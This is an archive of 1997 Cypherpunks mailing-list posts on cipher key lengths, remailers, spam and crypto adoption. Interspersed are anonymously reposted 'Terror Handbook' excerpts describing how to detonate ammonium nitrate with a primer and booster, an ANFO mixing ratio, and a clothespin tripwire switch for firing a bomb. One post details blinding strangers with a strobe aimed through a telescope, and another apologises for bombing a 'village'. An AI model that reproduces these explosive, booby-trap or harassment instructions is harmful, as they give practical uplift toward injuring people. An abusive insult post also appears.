




     Ammonium nitrate could be made by a terrorist, or it could be stolen from a construction site, since it is usually used in blasting, because it is very stable and insensitive to shock and heat.  A terrorist could also buy several Instant Cold-Paks from a drug store or medical supply store.  The major disadvantage with ammonium nitrate, from a terrorist's point of view, would be detonating it.  A rather powerful priming charge must be used, and usually with a booster charge.  The diagram below will explain.









          _________________________________________
          |       |                               |
  ________|       |                               |
     |        | T.N.T.|     ammonium nitrate      |
     |primer |booster|                            |
     |_______|       |                            |
          |       |                               |
          |_______|_______________________________|










     The primer explodes, detonating the T.N.T., which detonates, sending a tremendous shockwave through the ammonium nitrate, detonating it.






From the Terror Handbook






From unicorn at schloss.li  Sun May 11 10:43:48 1997
From: unicorn at schloss.li (Black Unicorn)
Date: Mon, 12 May 1997 01:43:48 +0800
Subject: The War is Underway (fwd)
In-Reply-To: 
Message-ID: 


On Sat, 10 May 1997, Mark M. wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 10 May 1997, Black Unicorn wrote:
> 
> > The amount of confusion over what represents a good algorithm is also
> > interesting.  Take CAST, which seems a promising cipher and which we
> > considered using over IDEA.
> > 
> > On asking 4 "experts" about CAST, I got 4 answers.
> > 
> > 1>  A 64 bit cipher with 40 bits secret.
> > 2>  A 64 bit cipher - not expected to be very complete.
> > 3>  A 128 bit cipher.
> > 4>  "Not worth discussing."
> > 
> > In fact, as I understand it, CAST is of variable key length (Up to 128
> > bits), and quite resistant to many attacks which plague DES and even IDEA.
> > 
> > But digging out that information was painfully difficult.  (It may not
> > even be correct).
> 
> According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
> block length and 64-bit key length.  So far, brute force is the only known
> attack.
> 
> As far as "obscenely large" key lengths are concerned, 3-key triple DES
> uses a 168-bit key.

As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

> Using large key sizes for passphrase-based systems is difficult, because
> it's just too difficult to remember a passphrase with enough entropy to
> make a difference.  Assuming a random passphrase with 6 bits of entropy
> per character, over 21 characters would have to be used for there to be
> 128 bits of entropy.

I dislike this line of argument for several reasons.  It reduces security
to the lowest common denominator.  Because, the argument goes, few people 
will use more than a 21 character passphrase, then we need not design
anything with more security.

In reality, I think that the percentage of people who use more than an 8
character passphrase, especially outside these circles, is small.
Following your logic, our high end of security should be about 48 bits.

> Systems that use randomly generated keys are
> limited only by the amount of available entropy, but then the passphrase
> security to encrypt the secret key or physical security become important.
> Using excessively long keys does not do much for security, as there are
> always going to be weaker links that an attacker can take advantage of.
> It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> good, either.

Again, you have taken an important concept, total security, and reversed
it.  Instead of aiming to make each link as strong as possible, you have
aimed to design around the weakest link.

This is a serious mistake in my view.

It costs little today to develop a cipher with larger keyspace.  (DES with
independent subkeys already exists and has a basic keyspace of 768 bits.
A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
the cipher briefly).  If users are willing to deal with large keys (I
certainly am) then software designers are restraining a more secure
implementation.

I think most will agree that anything over 150 bits makes brute force
a losing effort.  Unfortunately it has to be deployed first.

 
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
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> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.






From jer+ at andrew.cmu.edu  Sun May 11 11:21:55 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Mon, 12 May 1997 02:21:55 +0800
Subject: 
In-Reply-To: <199705111711.NAA21757@dhp.com>
Message-ID: <0nRUDN200YUe026ag0@andrew.cmu.edu>


lucifer at dhp.com (lucifer Anonymous Remailer) writes:
> product. A terrorist, however, would probably opt for the less economical one
> step method. The one step process is performed by treating toluene with very
> strong (fuming) sulfuric acid.

Hmmm, fuming suphulic acid, eh? What, a skim of yellow powder
spontaneously appears on the surface? Kids, the above article 
is a collection of errors and omissions. Don't try this at home.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole






From lucifer at dhp.com  Sun May 11 11:25:28 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:25:28 +0800
Subject: No Subject
Message-ID: <199705111750.NAA24096@dhp.com>




    tripwire switches


Tripwire Switches 





A tripwire is an element of the classic booby trap. By placing a nearly
invisible line of string or fishing line in the probable path of a victim,
and by putting some type of trap there also, nasty things can be caused
to occur. If this mode of thought is applied to explosives, how would one
use such a tripwire to detonate a bomb. The technique is simple. By wrapping
the tips of a standard clothespin with aluminum foil, and placing something
between them, and connecting wires to each aluminum foil contact, an electric
tripwire can be made, If a piece of wood attached to the tripwire was placed
between the contacts on the clothespin, the clothespin would serve as a
switch. When the tripwire was pulled, the clothespin would snap together,
allowing current to flow between the two pieces of aluminum foil, thereby
completing a circuit, which would have the igniter or squib in it. Current
would flow between the contacts to the igniter or squib, heat the igniter
or squib, causing it it to explode. 






                    __________________________________
                    \_foil___________________________/
 Insert strip of      ----------------------------spring
 wood with trip-      _foil__________________________
 wire between foil   /_______________________________\
 contacts.




Make sure that the aluminum foil contacts do not touch the spring, since
the spring also conducts electricity.






From the Terror Handbook








From lucifer at dhp.com  Sun May 11 11:27:19 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:27:19 +0800
Subject: No Subject
Message-ID: <199705111749.NAA24020@dhp.com>


ANFOS
ANFOS






ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution.  An ANFO
solves the only other major problem with ammonium nitrate: its tendency
to pick up water vapor from the air.  This results in the explosive
failing to detonate when such an attempt is made.  This is rectified by
mixing 94% (by weight) ammonium nitrate with 6% fuel oil, or kerosene.
The kerosene keeps the ammonium nitrate from absorbing moisture from the
air.  An ANFO also requires a large shockwave to set it off.







From the Terror Handbook






From ichudov at algebra.com  Sun May 11 12:50:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 12 May 1997 03:50:44 +0800
Subject: communicator
Message-ID: <199705111945.OAA29354@manifold.algebra.com>


Tom -- 

Will netscape communicator be available for linux? It would be very very
unfortunate if netscape dropped support for linux...

thanks

	- Igor.






From tomw at netscape.com  Sun May 11 14:54:10 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 12 May 1997 05:54:10 +0800
Subject: communicator
In-Reply-To: <199705111945.OAA29354@manifold.algebra.com>
Message-ID: <33763CCD.ED1A6EB8@netscape.com>


Igor Chudov @ home wrote:
> 
> Tom --
> 
> Will netscape communicator be available for linux? It would be very
> very unfortunate if netscape dropped support for linux...

Yes, we will continue to release linux versions.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw at netscape.com






From tzeruch at ceddec.com  Sun May 11 15:56:16 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Mon, 12 May 1997 06:56:16 +0800
Subject: Spam Update/Cyber Promo attacked (fwd)
Message-ID: <97May11.184120edt.32259-1@brickwall.ceddec.com>


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory, much
less 1M+ responses of the same email.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.

Any such property right will be symmetrical, so if I don't have the right
to control what comes into my inbox, neither does anyone at spamway.com.

Whether I like it or not, Anarchocapitalism is going to be the political
system on the internet.  Just like what is described in David Freedman's
books about private protective services, a spammer will continue until he
hits someone with a T3 and a good software agent that will happily fill
out response forms at 6M/sec, or simply ask politely to be taken off the
list several hundred times per second.  At that point the lists of people
who don't want to be spammed will be taken very seriously.







From shamrock at netcom.com  Sun May 11 15:59:56 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 12 May 1997 06:59:56 +0800
Subject: War & InfoWar
Message-ID: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>


At 09:15 PM 5/10/97 CST, TruthMonger wrote:

>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists.

Can somebody confirm this? Cite?

Thanks,


-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From shamrock at netcom.com  Sun May 11 16:01:53 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 12 May 1997 07:01:53 +0800
Subject: The War is Underway (fwd)
Message-ID: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>


At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:

>Hence the value of the "Crypto is Cool" approach.  A valuable addition
>would be crypto packages designed for high school kids.  All my many
>nieces and nephews are on the net...

I usually don't reply to these kind of posts, but since you have mentioned
this before and since you obviously still don't deem it appropriate to get
yourself up to speed by reading the archives, your idea has been discussed
and tried.

People won't use crypto unless it is either transparent, meaning put there
*for* them by the OS vendor/application developer or because the see a need
for using it. The few fanatics that use crypto because "it is cool" are
inconsequential when the objective is bringing crypto to the masses.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From shamrock at netcom.com  Sun May 11 16:05:33 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 12 May 1997 07:05:33 +0800
Subject: The War is Underway (fwd)
Message-ID: <3.0.32.19970511125644.006e96a8@netcom13.netcom.com>


At 06:17 PM 5/10/97 -0400, Black Unicorn wrote:
>Yes.  One of the major stumbling blocks I have run into is a lack of code
>which really is refined and reviewed enough to serve the purposes I need
>it to serve. 

The reason for the lack of "refined and reviewed" code is simple. Writing
such  code is difficult and time consuming. Anybody on this list capable of
writing it probably has a 10+ hours daytime job. It is often hard to donate
the effort required into producing either a freeware system or a system
that has a shaky business model at best. Yes, the original code for type I
remailers was written in a few days. Their security is accordingly low,
interfaces were almost non-existent.

The type of software you seem to be interested in requires more than just a
single individual dedicating a few evenings to it. It requires entire
software development teams. That takes the development out of the realm of
guerilla programming and into commercial efforts. As PGP, Inc. can attest,
making money of strong crypto can be hard. That further limits the number
of players willing to dedicate time to such an effort.

>FC97 did a lot to make some more obscure things obvious, and
>familiarize the players with each other, but the details are often hard to
>come by.  Many of the applications out there are painfully behind in
>interface areas forcing developers to use complicated "toolkits" which
>often lack the basics we need. Finding an analogy to easily explain even
>the basics to a customer is very difficult unless the front end jibes with
>the attempt.

While I would have to agree that FC'97 was a very worthwhile event from the
human networking perspective, I am confused by your claim that the
"toolkits"  lack the basics you need. I assume you are talking about
routines in crypto libraries here. What routines do you need that aren't in
the crypto libs available? I am not claiming that crypto libs have all the
routines one might possibly need, but I would be surprised if they didn't
have the routines you need. Perhaps it would help if you would explain what
you are looking for.

Furthermore, crypto libraries are not meant to address interface design.
The interface design is up to the application developer.

>> Perhaps it's time for some stego interfaces to remailers.

Somehow I doubt they will be developed anytime soon. Only a very small
fraction   of remailer users wants to hide the fact that they are using
remailers and not also hide the fact that they are using crypto at all.

If you only want to hide remailer use,  but not crypto use, a Pipe-net like
system should suit you fine.

>Most of what concerns me is the need to keep keylengths "obscenely large"
>because what is obscene today may not be so obscene after 5 years of
>chilled crypto development.

I agree keylengths are an issue. An even larger issue are the properties of
ciphers. We don't know that breaking RSA is as difficult as factoring. We
just hope it is. And we definitely don't know that factoring can not be
done in polynomial time. Not to mention that we don't even know if P != NP.

>Given the success (or lack thereof) of my call to arms before, I'm not
>sure I'll be anxious to repeat it soon.  (The largest keylength of any
>widely used cipher of which I am aware remains at 128.

Not wanting to split hairs, but 3DES is 168 bits. But it is about twice as
strong as DES, so the effective keylength does not exceed 128 bits. 
Still, there is good reason why so few of the many ciphers out there are
actually being used for the high security applications. No cipher has been
as thoroughly analyzed as DES. And while 3DES is often called slow (which
is irrelevant unless you have to encrypt large amounts of data), it is
generally considered secure. If you need better than 3DES, you want larger
keylength while retaining the security of using a well analyzed cipher. I
am not aware of any such cipher today. Perhaps that's why it is used so
little. :-)

>  There still is no
>effective PipeNet, no real mainstream "stealth crypto."  No significant
>work on detering traffic analysis or denial of service with the exception
>of the below).

I disagree. Just because Cypherpunks have not announced the releases of a
finished product, tremendous progress has been made this year alone. And we
have found new allies, such as the Onion Router team from Navy Research Lab
and the CROWDS team from AT&T.

Sure, their systems are far from perfect and require further development.
Which is why several Cypherpunks, myself included, have been busy getting
the teams up to speed, teaching them about attack methods, explaining to
them why certain attacks they discounted as unlikely are actually easy to
pull off, and generally advising these non-CP subscribers with very CP
projects about modifications that must be made to the software before it
will see widespread deployment. Understand that NRL has three scientists
working on Onion Routers a  significant part of their time. With full
funding. This is the kind of commitment it takes to make the more advanced
systems a reality. A volunteer effort is considerably less likely to be
able to come up with the resources for the many projects that need design
and implementation.

Other Cypherpunks have been busy working on advanced systems, but this
stuff takes time. Writing a crypto library is comparatively easy. If your
DES code gives the right results for a given IV, the code works. Taking
that DES code and some RSA code and turning it into an Onion Router is a
whole different challenge. And any mistakes you make are far less obvious.
[...]
>An online bank is useless if it can be blocked by a few keystrokes.

No offense, but Adam's "Eternity" system doesn't come close to Ross
Anderson's original design. It is a fun weekend hack, but calling it the
Eternity Service is a very unfortunate choice of words. It isn't any more
Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

>(But that's what secure INMARSAT phones are for too)

And how do you feed the base station? I believe the solution to permanent
servers is more likely to come from the IETF's mobile IP efforts (again a
project that far exceeds what a few Cypherpunks can do) and from anonymous
server designs such as recently proposed by the usual suspects and others
who wish to remain anonymous.

[...]
>C'punks should wish to provide clandestine crypto services for the entire
>population.  Laws which may or may not pass in the United States should
>bore c'punks, because they should realize that legislation is irrelevent
>because the genie is already out of the bottle.  Unfortunately, I don't
>think the genie is all the way out of the bottle.

Clandestine anything, almost by definition, will never reach the entire
population, but only those that are willing to go out and seek it. [If it
was openly available, it wouldn't be clandestine.]

PGP became as popular as it did because it could be used with zero
investment by any two parties, requiring only minimum connectivity. Truly
secure net anonymizers will need, at least at the backbone level, multiple
dedicated machines with fat 24/7 Internet connections in multiple
jurisdictions.  That's a significant investment. Such sites are not going
to become a reality out of the goodness of somebody's heart. Even in the
unlikely event that somebody has the time to write all the code for free.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From kent at songbird.com  Sun May 11 16:25:45 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 12 May 1997 07:25:45 +0800
Subject: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <19970511160550.21115@bywater.songbird.com>


On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:
> 
> >Hence the value of the "Crypto is Cool" approach.  A valuable addition
> >would be crypto packages designed for high school kids.  All my many
> >nieces and nephews are on the net...
> 
> I usually don't reply to these kind of posts, but since you have mentioned
> this before 

Actually, you must be confusing me with someone else -- I can't, to 
my recollection, remember ever having said anything about this 
before.  (Of course, you could always go back in the archives and check.) 
I was just responding to the idea mention by someone else (except 
I think they worded it "ciphers are cool" or something like that).

> and since you obviously still don't deem it appropriate to get
> yourself up to speed by reading the archives, your idea has been discussed
> and tried.

With a memory like mine (and yours too, apparently) reading the 
archives would do no good -- I can't remember a thousandth of all the 
stuff I read, anyway.

> People won't use crypto unless it is either transparent, meaning put there
> *for* them by the OS vendor/application developer or because the see a need
> for using it. The few fanatics that use crypto because "it is cool" are
> inconsequential when the objective is bringing crypto to the masses.

I guess we are doomed, then.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From update at INTERACTIVE.WSJ.COM  Mon May 12 08:54:46 1997
From: update at INTERACTIVE.WSJ.COM (WSJ Interactive Edition Editors)
Date: Mon, 12 May 1997 08:54:46 -0700 (PDT)
Subject: Now read the Interactive Journal without Logging In
Message-ID: <3.0.32.19970512112434.00a0e930@pop.dowjones.com>


We're delighted to announce that we've implemented one of the most
frequently requested enhancements to The Wall Street Journal Interactive
Edition: The ability to store your User Name and Password, so that you don't
have to manually enter it each time you visit.

Just ask for any Interactive Journal page, and when prompted for your User
Name and Password, check the "Save your Sign-On" box on the login screen.
>From then on, you can read the Interactive Journal without the extra step of
signing on each time.

You can turn this feature off at any time if you wish by visiting Your
Account, located at the bottom of any Interactive Journal page. Also, if you
access our pages using multiple computers, you'll need to automate your
sign-on separately for each configuration. (And remember that this means
anyone with access to your computer will be able to read the Interactive
Edition using your account.)

We hope this makes it much easier for you to read the Interactive Journal
and that you'll let us know your reactions and suggestions.

Best Regards,

Neil Budde
Editor
inquiries at interactive.wsj.com




_______________________________________________________________
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From markm at voicenet.com  Sun May 11 20:31:41 1997
From: markm at voicenet.com (Mark M.)
Date: Mon, 12 May 1997 11:31:41 +0800
Subject: War & InfoWar
In-Reply-To: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Lucky Green wrote:

> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> 
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

I don't know about "dozens", but one convicted murderer named Richard
Snell had plotted to bomb the building about 13 years ago.  He was
executed on the night of April 19, 1995, the same day as the OKC
bombing.  There's in article in the February 24, 1997 issue of _Time_
(the one with the golden swastika on the cover) on page 28.  This
article contains similar information to an article at
http://www.aci.net/kalliste/okccol.htm and discusses, among other things,
possible knowledge of the bombing in advance by the ATF and evidence
that Tim McVeigh was associated with the Aryan Republican Army and Elohim
City.  There are a few other articles also at
http://www.aci.net/kalliste/ .

> 
> Thanks,
> 
> 
> -- Lucky Green  PGP encrypted mail preferred
> 
>    "I do believe that where there is a choice only between cowardice and
>     violence, I would advise violence." Mahatma Gandhi
> 
> 



Mark
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O+7mpt2GODrdKR/Ck08/Na6ZLHznhu0X5FEcZ0CSemgws4yX5xnGiIT7wWCRZSS/
pwBCkdpEsZR7D247tRZ9BLPWIF+MKTCB6B67iVfdVAvBFkkDnm/s1knvH07tzcXS
DoK9oy7eLnFxW5iIUGDXujGx9SwFy/1VFU2TuCW1KFBLHt0npCNUBw==
=Cp4h
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Sun May 11 21:47:09 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 12 May 1997 12:47:09 +0800
Subject: War & InfoWar
Message-ID: <199705120425.VAA30346@fat.doobie.com>


Lucky Green wrote:
> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

Below, from the cypherpunks archives:
-------------------
  As MediaFilter reported:

The March edition of Taking Aim, the newsletter of the Militia of

Montana, issued a call to arms for April 19, the day of the Oklahoma
blast: 



Federal prosecutors in (Richard Snell's) the '88 trial claimed that 
the '83 plot_which included counterfeiting, armed robberies and plans 
to assassinate federal judges and the Arkansas FBI chief_was to begin
with the detonation of a truck bomb at the Oklahoma City Federal 
Building. 

All of the defendants were acquitted. But that very same building 
would be blown up by a truck bomb on the very day of Richard Snell's 
execution.



Snell died knowing of the explosion. 

His last words were a warning to Arkansas Governor Guy Tucker: 
"Look over your shoulder, justice is on the way..." 



TruthBomber
-----------------------

  Planning the bombing of the Oklahoma City Federal Building has long
been as standard an exercise for paramilitarists as typing "The quick
brown fox..." has been for typists. The trial mentioned above is not
the only one in which the targeting of the OKC Federal Building was 
involved as a goal of paramilitary objectives.
  To think that federal security personnel in Oklahoma City were 
unaware of this is ludicrous. The fact that they allowed a daycare
to be placed there (or perhaps initiated the action) is as criminal 
an act as the bombing itself.
  Naturally, there will be no trial or investigation of government
criminality in this regard, but only of the actions of anti-government
criminals.

  Freedom and liberty in the world is not in the hands of the citizens,
but in the hands of those who are concerned about it. (The same as
high-fashion or many other mental constructs.)
  There may not be an overt war taking place between the average
citizen and the government, but there is one taking place between the
government and those who oppose the draconian limitations being placed
on their freedom and liberty under the guise of "rule of law."

Dr. Roberts
~~~~~~~~~~~







From tcmay at got.net  Sun May 11 22:07:01 1997
From: tcmay at got.net (Tim May)
Date: Mon, 12 May 1997 13:07:01 +0800
Subject: Camera Hacking
In-Reply-To: 
Message-ID: 


At 9:02 PM -0800 5/10/97, Alan Olsen wrote:

>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>lens and fire.  (Only if they are looking through it.)  The screams are
>worth it.  (One of the few joys of my high school photography class.)

Reminds me of an old astronomy club trick.

Take any reasonble aperture telescope. Use a reasonable magnification for
the target such that target window fills the field of view. Place a
standard electronic flash where the eye normally is. (Increased efficiency
is gotten by arranging for as much of the output to go into the eyepieces
as possible...this can be done with an "integrating sphere," e.g., an
aluminum foil sphere with a single exit at the eyepiece.)

After dark, aim the telescope in the window of your victim. Best results
are gotten if they have the lights off, e.g., while they're watching
television.

Trigger the flash.

The startled reactions as their room fills with a flash of light are
interesting. Some of them may even think they're under nuclear attack.

This of course works best from afar. Apartment buildings with views of
other apartment buildings, for example. Don't this from the bushes, or even
from across a street.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Mon May 12 00:20:15 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 12 May 1997 15:20:15 +0800
Subject: Mondex
In-Reply-To: <199705111118.HAA29729@dhp.com>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply dweeb sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From frissell at panix.com  Mon May 12 04:26:41 1997
From: frissell at panix.com (frissell at panix.com)
Date: Mon, 12 May 1997 19:26:41 +0800
Subject: War & InfoWar
In-Reply-To: <3.0.32.19970510224212.006e0a84@cnw.com>
Message-ID: <3.0.1.32.19970512065607.0294f20c@panix.com>


At 10:43 PM 5/10/97 -0700, Blanc wrote:
>TruthMonger wrote:
>
>>  Of course, you have your own definintion of innocenent bystanders,
>>while others may have different definitions.
>..........................................................
>
>To me, an innocent bystander would be someone who was walking by a building
>which was blown up by someone with a grudge against its occupants.
>
>You lose the point of your attack when you kill those who do not relate to
>the reason for your attack.
>
>"To save the village, we had to destroy it."
>
>
>    ..
>Blanc
>

But Blanc,what if "It Takes A Village to Raise a Child" and the village is trying to raise my child against my will.  In that case, the only way to handle things is to destroy the village.  Not to save it,but to save my child.

Think about it.

But not for too long.

DCF






From harka at nycmetro.com  Mon May 12 05:54:28 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Mon, 12 May 1997 20:54:28 +0800
Subject: Telnet Anonymous
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

E-Mail...NYM-Servers
WWW...Anonymizer
Telnet...??

How does one telnet anonymously to another system, assuming that
one's home system has identd?

Thanks already in advance...

Ciao

Harka

... Microsoft - "Where do you want to crash today?"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM3cNtjltEBIEF0MBAQE3sAf7BHE2Gi3pEDRBPhkjAGa0yAT56Y5FL77h
5TB3XJoM0GCgy+oq+fodVpsH7/nseO6NUfIh6Yc5sZ9Rkn2sngkeHt4mpXVx95cP
/IM6udvyfMlNa4Do5gIblsw7QjTaiDBaJ6hhqhyyalvkdoGsMecu4FoH04ZuccWQ
yMl9O8mmG3+O3NRHfCA/bEuhiw4UJRw6d7fhixkp6IHiCRIIPrE4h7P+xRsbZsJ3
dwOoOZwNucOvm5cWjTPiybqhmCodO/QB6XfIpL008MRmtLMaux8N/SJhAmuwf37g
UX1IBXW7p62gfnOiY7GE4YfN9GKTPsdHkM6M/cYUfUx1Dr3SR0em5A==
=oTI6
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Mon May 12 06:59:31 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Mon, 12 May 1997 21:59:31 +0800
Subject: Copy of: UK TTP Paper - For Your Information
Message-ID: 

An embedded message was scrubbed...
From: unknown sender
Subject: no subject
Date: no date
Size: 7573
URL: 

From raph at CS.Berkeley.EDU  Mon May 12 07:11:41 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 12 May 1997 22:11:41 +0800
Subject: List of reliable remailers
Message-ID: <199705121350.GAA15822@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 12 May 97 6:48:02 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config at nym.alias.net             ++**#*******     1:25  99.99%
balls    remailer at huge.cajones.com        ###*########     1:12  99.98%
weasel   config at weasel.owl.de             +++-+++++-+   2:06:18  99.84%
squirrel mix at squirrel.owl.de              +++-+++++-+   2:05:58  99.77%
jam      remailer at cypherpunks.ca          * **********     8:44  99.44%
replay   remailer at replay.com               * -*****  *    16:09  98.65%
cyber    alias at alias.cyberpass.net        +**** * * *+    19:10  97.86%
dustbin  dustman at athensnet.com            .--.+-++-     2:35:37  93.78%
winsock  winsock at rigel.cyberpass.net      ..-..-----    5:14:17  92.97%
lucifer  lucifer at dhp.com                  ++++++++++      38:33  88.02%
